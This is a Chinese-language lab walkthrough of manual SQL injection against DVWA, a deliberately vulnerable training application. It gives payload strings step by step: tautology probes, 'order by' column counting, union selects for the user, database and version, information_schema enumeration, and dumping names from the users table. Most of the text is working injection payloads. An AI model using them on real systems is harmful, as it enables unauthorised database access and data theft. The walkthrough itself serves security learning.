DVWA 页面
输入user ID ,输入 1。看到如下信息
在此点尝试注入,输入‘ ’ ’,判断其注入类型。
初步判断是数字型注入,在输入 " 1 or 1=1 ",尝试遍历数据表
判断字符型:" 1’ or ‘1’='1 "
利用 order by num 来测试查询表的列, 输入: " 1’ order by 1 – "(–后有空格)或者 " 1’ order by 1 ## "
当为2时正确显示,为3时错误,我们判断有2列
在mysql中
user ( ) : 当前登陆的用户
database ( ) : 当前数据库名
version ( ): 数据库版本
用union联合查询,查询其信息。注入语法: " 1’ and 1=2 union select user(), database() – "(–后有空格)
用SQL中的全局变量 " @@global.version_compile_os "来获得操作系统的信息
查询mysql数据库所有的数据库名字。语法: " 1’ and 1=1 union select 1,schema_name from information_schema.schemata – "
输出所有表名 " 1’ union select null,group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’ # "
然后通过手工注入猜解dvwa数据库表名,语法: " 1’ and exists(select * from users) – "
再猜解字段名,语法: " 1’ and exists(select first_name from users) – "
尝试显示这两个字段的内容,语法:" 1 ’ and 1=1 union select first_name,last_name from users – "